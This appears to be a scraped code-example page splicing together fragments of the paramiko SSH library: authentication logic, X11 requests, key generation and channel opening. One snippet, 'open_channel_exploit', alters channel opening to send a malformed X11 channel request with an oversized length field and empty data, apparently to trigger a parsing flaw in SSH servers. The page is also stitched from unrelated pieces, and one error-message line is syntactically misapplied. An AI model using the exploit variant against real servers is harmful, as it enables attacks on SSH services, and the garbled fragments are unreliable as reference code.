                 # RFC 4462 says we are not required to implement GSS-API
                 # error messages.
                 # See RFC 4462 Section 3.8 in
                 # http://www.ietf.org/rfc/rfc4462.txt
                 raise SSHException("Server returned an error token")
             elif ptype == MSG_USERAUTH_GSSAPI_ERROR:
                 maj_status = m.get_int()
                 min_status = m.get_int()
                 err_msg = m.get_string()
                 lang_tag = m.get_string()  # we don't care!
                 raise SSHException("GSS-API Error:\nMajor Status: %s\n\
                                     Minor Status: %s\ \nError Message:\
                                      %s\n") % (str(maj_status),
                                                str(min_status),
                                                err_msg)
             elif ptype == MSG_USERAUTH_FAILURE:
                 self._parse_userauth_failure(m)
                 return
             else:
                 raise SSHException("Received Package: %s" % MSG_NAMES[ptype])
         elif self.auth_method == 'gssapi-keyex' and\
             self.transport.gss_kex_used:
             kexgss = self.transport.kexgss_ctxt
             kexgss.set_username(self.username)
             mic_token = kexgss.ssh_get_mic(self.transport.session_id)
             m.add_string(mic_token)
         elif self.auth_method == 'none':
             pass
         else:
             raise SSHException('Unknown auth method "%s"' % self.auth_method)
         self.transport._send_message(m)
     else:
         self.transport._log(DEBUG, 'Service request "%s" accepted (?)' % service)
Exemplo n.º 24
0
    def request_x11(self,
                    screen_number=0,
                    auth_protocol=None,
                    auth_cookie=None,
                    single_connection=False,
                    handler=None):
        """
        Request an x11 session on this channel.  If the server allows it,
        further x11 requests can be made from the server to the client,
        when an x11 application is run in a shell session.
        
        From RFC4254::

            It is RECOMMENDED that the 'x11 authentication cookie' that is
            sent be a fake, random cookie, and that the cookie be checked and
            replaced by the real cookie when a connection request is received.
        
        If you omit the auth_cookie, a new secure random 128-bit value will be
        generated, used, and returned.  You will need to use this value to
        verify incoming x11 requests and replace them with the actual local
        x11 cookie (which requires some knowledge of the x11 protocol).
        
        If a handler is passed in, the handler is called from another thread
        whenever a new x11 connection arrives.  The default handler queues up
        incoming x11 connections, which may be retrieved using
        `.Transport.accept`.  The handler's calling signature is::
        
            handler(channel: Channel, (address: str, port: int))
        
        :param int screen_number: the x11 screen number (0, 10, etc.)
        :param str auth_protocol:
            the name of the X11 authentication method used; if none is given,
            ``"MIT-MAGIC-COOKIE-1"`` is used
        :param str auth_cookie:
            hexadecimal string containing the x11 auth cookie; if none is
            given, a secure random 128-bit value is generated
        :param bool single_connection:
            if True, only a single x11 connection will be forwarded (by
            default, any number of x11 connections can arrive over this
            session)
        :param function handler:
            an optional handler to use for incoming X11 connections
        :return: the auth_cookie used
        """
        if self.closed or self.eof_received or self.eof_sent or not self.active:
            raise SSHException('Channel is not open')
        if auth_protocol is None:
            auth_protocol = 'MIT-MAGIC-COOKIE-1'
        if auth_cookie is None:
            auth_cookie = binascii.hexlify(os.urandom(16))

        m = Message()
        m.add_byte(cMSG_CHANNEL_REQUEST)
        m.add_int(self.remote_chanid)
        m.add_string('x11-req')
        m.add_boolean(True)
        m.add_boolean(single_connection)
        m.add_string(auth_protocol)
        m.add_string(auth_cookie)
        m.add_int(screen_number)
        self._event_pending()
        self.transport._send_user_message(m)
        self._wait_for_event()
        self.transport._set_x11_handler(handler)
        return auth_cookie
Exemplo n.º 25
0
    def _auth(self, username, password, pkey, key_filenames, allow_agent,
              look_for_keys):
        """
        Try, in order:

            - The key passed in, if one was passed in.
            - Any key we can find through an SSH agent (if allowed).
            - Any "id_rsa" or "id_dsa" key discoverable in ~/.ssh/ (if allowed).
            - Plain username/password auth, if a password was given.

        (The password might be needed to unlock a private key, or for
        two-factor authentication [for which it is required].)
        """
        saved_exception = None
        two_factor = False
        allowed_types = []

        if pkey is not None:
            try:
                self._log(
                    DEBUG,
                    'Trying SSH key %s' % hexlify(pkey.get_fingerprint()))
                allowed_types = self._transport.auth_publickey(username, pkey)
                two_factor = (allowed_types == ['password'])
                if not two_factor:
                    return
            except SSHException as e:
                saved_exception = e

        if not two_factor:
            for key_filename in key_filenames:
                for pkey_class in (RSAKey, DSSKey):
                    try:
                        key = pkey_class.from_private_key_file(
                            key_filename, password)
                        self._log(
                            DEBUG, 'Trying key %s from %s' %
                            (hexlify(key.get_fingerprint()), key_filename))
                        self._transport.auth_publickey(username, key)
                        two_factor = (allowed_types == ['password'])
                        if not two_factor:
                            return
                        break
                    except SSHException as e:
                        saved_exception = e

        if not two_factor and allow_agent:
            if self._agent is None:
                self._agent = Agent()

            for key in self._agent.get_keys():
                try:
                    self._log(
                        DEBUG, 'Trying SSH agent key %s' %
                        hexlify(key.get_fingerprint()))
                    # for 2-factor auth a successfully auth'd key will result in ['password']
                    allowed_types = self._transport.auth_publickey(
                        username, key)
                    two_factor = (allowed_types == ['password'])
                    if not two_factor:
                        return
                    break
                except SSHException as e:
                    saved_exception = e

        if not two_factor:
            keyfiles = []
            rsa_key = os.path.expanduser('~/.ssh/id_rsa')
            dsa_key = os.path.expanduser('~/.ssh/id_dsa')
            if os.path.isfile(rsa_key):
                keyfiles.append((RSAKey, rsa_key))
            if os.path.isfile(dsa_key):
                keyfiles.append((DSSKey, dsa_key))
            # look in ~/ssh/ for windows users:
            rsa_key = os.path.expanduser('~/ssh/id_rsa')
            dsa_key = os.path.expanduser('~/ssh/id_dsa')
            if os.path.isfile(rsa_key):
                keyfiles.append((RSAKey, rsa_key))
            if os.path.isfile(dsa_key):
                keyfiles.append((DSSKey, dsa_key))

            if not look_for_keys:
                keyfiles = []

            for pkey_class, filename in keyfiles:
                try:
                    key = pkey_class.from_private_key_file(filename, password)
                    self._log(
                        DEBUG, 'Trying discovered key %s in %s' %
                        (hexlify(key.get_fingerprint()), filename))
                    # for 2-factor auth a successfully auth'd key will result in ['password']
                    allowed_types = self._transport.auth_publickey(
                        username, key)
                    two_factor = (allowed_types == ['password'])
                    if not two_factor:
                        return
                    break
                except (SSHException, IOError) as e:
                    saved_exception = e

        if password is not None:
            try:
                self._transport.auth_password(username, password)
                return
            except SSHException as e:
                saved_exception = e
        elif two_factor:
            raise SSHException('Two-factor authentication requires a password')

        # if we got an auth-failed exception earlier, re-raise it
        if saved_exception is not None:
            raise saved_exception
        raise SSHException('No authentication methods available')
Exemplo n.º 26
0
def open_channel_exploit(self,
                         kind,
                         dest_addr=None,
                         src_addr=None,
                         window_size=None,
                         max_packet_size=None):
    """
    Request a new channel to the server. `Channels <.Channel>` are
    socket-like objects used for the actual transfer of data across the
    session. You may only request a channel after negotiating encryption
    (using `connect` or `start_client`) and authenticating.

    .. note:: Modifying the the window and packet sizes might have adverse
        effects on the channel created. The default values are the same
        as in the OpenSSH code base and have been battle tested.

    :param str kind:
        the kind of channel requested (usually ``"session"``,
        ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``)
    :param tuple dest_addr:
        the destination address (address + port tuple) of this port
        forwarding, if ``kind`` is ``"forwarded-tcpip"`` or
        ``"direct-tcpip"`` (ignored for other channel types)
    :param src_addr: the source address of this port forwarding, if
        ``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``
    :param int window_size:
        optional window size for this session.
    :param int max_packet_size:
        optional max packet size for this session.

    :return: a new `.Channel` on success

    :raises SSHException: if the request is rejected or the session ends
        prematurely

    .. versionchanged:: 1.15
        Added the ``window_size`` and ``max_packet_size`` arguments.
    """
    if not self.active:
        raise SSHException('SSH session not active')
    self.lock.acquire()
    try:
        window_size = self._sanitize_window_size(window_size)
        max_packet_size = self._sanitize_packet_size(max_packet_size)
        chanid = self._next_channel()
        m = Message()
        m.add_byte(cMSG_CHANNEL_OPEN)
        m.add_string("x11" if kind == "x11exploit" else kind)
        m.add_int(chanid)
        m.add_int(window_size)
        m.add_int(max_packet_size)
        if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'):
            m.add_string(dest_addr[0])
            m.add_int(dest_addr[1])
            m.add_string(src_addr[0])
            m.add_int(src_addr[1])
        elif kind == 'x11':
            m.add_string(src_addr[0])
            m.add_int(src_addr[1])
        elif kind == 'x11exploit':
            m.add_int(99999999)
            m.add_bytes('')
            m.add_int(src_addr[1])
        chan = Channel(chanid)
        self._channels.put(chanid, chan)
        self.channel_events[chanid] = event = threading.Event()
        self.channels_seen[chanid] = True
        chan._set_transport(self)
        chan._set_window(window_size, max_packet_size)
    finally:
        self.lock.release()
    self._send_user_message(m)
    while True:
        event.wait(0.1)
        if not self.active:
            e = self.get_exception()
            if e is None:
                e = SSHException('Unable to open channel.')
            raise e
        if event.is_set():
            break
    chan = self._channels.get(chanid)
    if chan is not None:
        return chan
    e = self.get_exception()
    if e is None:
        e = SSHException('Unable to open channel.')
    raise e
Exemplo n.º 27
0
 def missing_host_key(self, client, hostname, key):
     client._log(
         DEBUG, 'Rejecting %s host key for %s: %s' %
         (key.get_name(), hostname, hexlify(key.get_fingerprint())))
     raise SSHException('Server %r not found in known_hosts' % hostname)
Exemplo n.º 28
0
    def _auth(
        self,
        username,
        password,
        pkey,
        key_filenames,
        allow_agent,
        look_for_keys,
        gss_auth,
        gss_kex,
        gss_deleg_creds,
        gss_host,
        passphrase,
    ):
        """
        Try, in order:

            - The key(s) passed in, if one was passed in.
            - Any key we can find through an SSH agent (if allowed).
            - Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in ~/.ssh/
              (if allowed).
            - Plain username/password auth, if a password was given.

        (The password might be needed to unlock a private key [if 'passphrase'
        isn't also given], or for two-factor authentication [for which it is
        required].)
        """
        saved_exception = None
        two_factor = False
        allowed_types = set()
        two_factor_types = {'keyboard-interactive', 'password'}
        if passphrase is None and password is not None:
            passphrase = password

        # If GSS-API support and GSS-PI Key Exchange was performed, we attempt
        # authentication with gssapi-keyex.
        if gss_kex and self._transport.gss_kex_used:
            try:
                self._transport.auth_gssapi_keyex(username)
                return
            except Exception as e:
                saved_exception = e

        # Try GSS-API authentication (gssapi-with-mic) only if GSS-API Key
        # Exchange is not performed, because if we use GSS-API for the key
        # exchange, there is already a fully established GSS-API context, so
        # why should we do that again?
        if gss_auth:
            try:
                return self._transport.auth_gssapi_with_mic(
                    username,
                    gss_host,
                    gss_deleg_creds,
                )
            except Exception as e:
                saved_exception = e

        # detect what authentication methods the server supports
        # mirrors what openssh client does
        try:
            self._transport.auth_none(username)
        except BadAuthenticationType as e:
            allowed_types = set(e.allowed_types)
        else:
            return  # successful login with no auth

        # some servers do not return allowed auth methods
        if not allowed_types:
            allowed_types = {'password', 'publickey'}

        if pkey is not None and 'publickey' in allowed_types:
            try:
                self._log(
                    DEBUG, "Trying SSH key %s" %
                    hexlify(pkey.get_fingerprint()).decode())
                allowed_types = set(
                    self._transport.auth_publickey(username, pkey))
                two_factor = (allowed_types & two_factor_types)
                if not two_factor:
                    return
            except SSHException as e:
                saved_exception = e

        if not two_factor and 'publickey' in allowed_types:
            for key_filename in key_filenames:
                try:
                    key = self._key_from_filepath(key_filename,
                                                  password=passphrase)

                    allowed_types = set(
                        self._transport.auth_publickey(username, key))
                    two_factor = (allowed_types & two_factor_types)
                    if not two_factor:
                        return
                    break
                except SSHException as e:
                    saved_exception = e

        if allow_agent and not two_factor and 'publickey' in allowed_types:
            if self._agent is None:
                self._agent = Agent()

            for key in self._agent.get_keys():
                try:
                    self._log(
                        DEBUG, "Trying SSH agent key %s" %
                        hexlify(key.get_fingerprint()).decode())
                    allowed_types = set(
                        self._transport.auth_publickey(username, key))
                    two_factor = (allowed_types & two_factor_types)
                    if not two_factor:
                        return
                    break
                except SSHException as e:
                    saved_exception = e

        if look_for_keys and not two_factor and 'publickey' in allowed_types:
            keyfiles = []
            for keytype, name in [
                (RSAKey, "rsa"),
                (DSSKey, "dsa"),
                (ECDSAKey, "ecdsa"),
                (Ed25519Key, "ed25519"),
            ]:
                # ~/ssh/ is for windows
                for directory in [".ssh", "ssh"]:
                    full_path = os.path.expanduser("~/{}/id_{}".format(
                        directory, name))
                    if os.path.isfile(full_path):
                        # TODO: only do this append if below did not run
                        keyfiles.append((keytype, full_path))
                        if os.path.isfile(full_path + '-cert.pub'):
                            keyfiles.append((keytype, full_path + '-cert.pub'))

            for pkey_class, filename in keyfiles:
                try:
                    key = self._key_from_filepath(
                        filename,
                        pkey_class,
                        passphrase,
                    )
                    allowed_types = set(
                        self._transport.auth_publickey(username, key))
                    two_factor = (allowed_types & two_factor_types)
                    if not two_factor:
                        return
                    break
                except (SSHException, IOError) as e:
                    saved_exception = e

        # possible two_factor second factors
        # (allowed_types could have been updated, only if two_factor)

        if password is not None and 'password' in allowed_types:
            try:
                self._log(DEBUG, 'Trying password')
                allowed_types = set(
                    self._transport.auth_password(username, password))
                two_factor = allowed_types & two_factor_types
                if not two_factor:
                    return
            except SSHException as e:
                saved_exception = e

        if 'keyboard-interactive' in allowed_types:
            try:
                self._log(DEBUG, 'Trying interactive auth')
                self._transport.auth_interactive_dumb(username)
                return
            except SSHException as e:
                saved_exception = e

        # if we got an auth-failed exception earlier, re-raise it
        if saved_exception is not None:
            raise saved_exception
        raise SSHException('No authentication methods available')
    for o in list(default_values.keys()):
        globals()[o] = getattr(options, o, default_values[o.lower()])

    if options.newphrase:
        phrase = getattr(options, "newphrase")

    if options.verbose:
        pfunc = progress
        sys.stdout.write(
            "Generating priv/pub %s %d bits key pair (%s/%s.pub)..." %
            (ktype, bits, filename, filename))
        sys.stdout.flush()

    if ktype == "dsa" and bits > 1024:
        raise SSHException("DSA Keys must be 1024 bits")

    if ktype not in key_dispatch_table:
        raise SSHException("Unknown %s algorithm to generate keys pair" %
                           ktype)

    # generating private key
    prv = key_dispatch_table[ktype].generate(bits=bits, progress_func=pfunc)
    prv.write_private_key_file(filename, password=phrase)

    # generating public key
    pub = key_dispatch_table[ktype](filename=filename, password=phrase)
    with open("%s.pub" % filename, "w") as f:
        f.write("%s %s" % (pub.get_name(), pub.get_base64()))
        if options.comment:
            f.write(" %s" % comment)
    def open_channel(
        self,
        kind,
        dest_addr=None,
        src_addr=None,
        window_size=None,
        max_packet_size=None,
        timeout=None,
    ):
        """
        Request a new channel to the server. `Channels <.Channel>` are
        socket-like objects used for the actual transfer of data across the
        session. You may only request a channel after negotiating encryption
        (using `connect` or `start_client`) and authenticating.

        .. note:: Modifying the the window and packet sizes might have adverse
            effects on the channel created. The default values are the same
            as in the OpenSSH code base and have been battle tested.

        :param str kind:
            the kind of channel requested (usually ``"session"``,
            ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``)
        :param tuple dest_addr:
            the destination address (address + port tuple) of this port
            forwarding, if ``kind`` is ``"forwarded-tcpip"`` or
            ``"direct-tcpip"`` (ignored for other channel types)
        :param src_addr: the source address of this port forwarding, if
            ``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``
        :param int window_size:
            optional window size for this session.
        :param int max_packet_size:
            optional max packet size for this session.
        :param float timeout:
            optional timeout opening a channel, default 3600s (1h)
        :param float limit:
            optional Limits the used bandwidth, specified in Mbit/s.

        :return: a new `.Channel` on success

        :raises:
            `.SSHException` -- if the request is rejected, the session ends
            prematurely or there is a timeout openning a channel

        .. versionchanged:: 1.15
            Added the ``window_size`` and ``max_packet_size`` arguments.
        """
        if not self.active:
            raise SSHException("SSH session not active")
        timeout = 3600 if timeout is None else timeout
        self.lock.acquire()
        try:
            window_size = self._sanitize_window_size(window_size)
            max_packet_size = self._sanitize_packet_size(max_packet_size)
            chanid = self._next_channel()
            m = Message()
            m.add_byte(cMSG_CHANNEL_OPEN)
            m.add_string(kind)
            m.add_int(chanid)
            m.add_int(window_size)
            m.add_int(max_packet_size)
            if (kind == "forwarded-tcpip") or (kind == "direct-tcpip"):
                m.add_string(dest_addr[0])
                m.add_int(dest_addr[1])
                m.add_string(src_addr[0])
                m.add_int(src_addr[1])
            elif kind == "x11":
                m.add_string(src_addr[0])
                m.add_int(src_addr[1])
            chan = BCChannel(chanid)
            if self.limit is not None:
                chan.set_limit(limit=self.limit)
            self._channels.put(chanid, chan)
            self.channel_events[chanid] = event = threading.Event()
            self.channels_seen[chanid] = True
            chan._set_transport(self)
            chan._set_window(window_size, max_packet_size)
        finally:
            self.lock.release()
        self._send_user_message(m)
        start_ts = time.time()
        while True:
            event.wait(0.1)
            if not self.active:
                e = self.get_exception()
                if e is None:
                    e = SSHException("Unable to open channel.")
                raise e
            if event.is_set():
                break
            elif start_ts + timeout < time.time():
                raise SSHException("Timeout opening channel.")
        chan = self._channels.get(chanid)
        if chan is not None:
            return chan
        e = self.get_exception()
        if e is None:
            e = SSHException("Unable to open channel.")
        raise e